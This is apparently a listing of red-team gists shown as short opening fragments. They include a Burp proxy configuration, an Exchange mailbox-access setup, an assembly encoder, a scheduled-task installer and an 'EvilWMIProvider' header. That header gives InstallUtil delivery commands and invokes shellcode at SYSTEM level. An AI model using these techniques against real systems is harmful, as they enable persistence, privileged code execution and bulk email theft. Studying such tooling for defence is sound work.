RedTeams

{
  "84kr3q1592995213323": {
    "type": 1,
    "color": "#cc883a",
    "title": "Burp",
    "active": true,
    "address": "127.0.0.1",
    "port": 8080,
    "proxyDNS": false,
    "username": "",

RedTeams

{
    "proxy":{
        "ssl_pass_through":{
            "automatically_add_entries_on_client_ssl_negotiation_failure":false,
            "rules":[
                {
                    "enabled":true,
                    "host":".*\\.google\\.com",
                    "protocol":"any"
                },

RedTeams

#For this example you need an Azure App registered with a Self Sign Cert and a user with EWS Access to grab email.
#You need AzureAD Module (Save-Module AzureAD -Path C:\temp)
#You need EWS API 2.2 (www.microsoft.com/en-us/download/details.aspx?id=35371)
#App need to have Office 365 API access to read email.
# Permission under Office 365 Exchange Online: 
#   Admin : Use Exchange Web Services with full access to all mailboxes
#   Delegate : Delegated permissions: full_access_as_user – Access mailbox as signed in user via Exc…
# Cert : https://github.com/Azure-Samples/active-directory-dotnet-daemon-certificate-credential/blob/master/Manual-Configuration-Steps.md
<#
$cert=New-SelfSignedCertificate -Subject "CN=Office365APIDemo" -CertStoreLocation "Cert:\CurrentUser\My"  -KeyExportPolicy Exportable -KeySpec Signature

RedTeams

Function Invoke-EncodeAssembly
{
    [CmdletBinding()]
    Param(
        [Parameter(Mandatory=$true)]
        [String]
        $binaryPath,

        [Parameter(Mandatory=$true)]
        [String]

RedTeams

// Based On LocalAdmin WMI Provider by Roger Zander
// http://myitforum.com/cs2/blogs/rzander/archive/2008/08/12/how-to-create-a-wmiprovider-with-c.aspx
// Adapted For Evil By @subTee
// Executes x64 ShellCode
// 
// Deliver and Install dll
// C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe /i EvilWMIProvider.dll
// Invoke calc for SYSTEM level calculations
// Invoke-WmiMethod -Class Win32_Evil -Name ExecShellCalcCode
// Invoke-WmiMethod -Namespace root\cimv2 -Class Win32_Evil -Name ExecShellCode -ArgumentList @(0x90,0x90,0x90), $null

RedTeams

function Install-ScheduledTask {

    <#
    .SYNOPSIS
        Install a scheduled task using Schedule.Service COM object.
    .DESCRIPTION
        This function installs a scheduled task using Schedule.Service COM object.
    .PARAMETER TaskPath
        String. The path of the task.
    .PARAMETER TaskName

RedTeams

#include <stdio.h>
#include <windows.h>
#include <wincrypt.h>
#include <tlhelp32.h>
#include <ntdef.h>
#include <winternl.h>

#include "main.h"

/****************************************************************************************************/

RedTeams

using System;
using System.IO;
using System.Net;
using System.Text;
using System.IO.Compression;
using System.Collections.Generic;
using System.Configuration.Install;
using System.Runtime.InteropServices;

RedTeams

using System;
using System.IO;
using System.Text;
using System.IO.Compression;
using System.EnterpriseServices;
using System.Collections.Generic;
using System.Runtime.InteropServices;
using System.Security.Cryptography;

/*

RedTeams

import requests
import json
import time
import argparse
import getpass
import os
import sys


def main():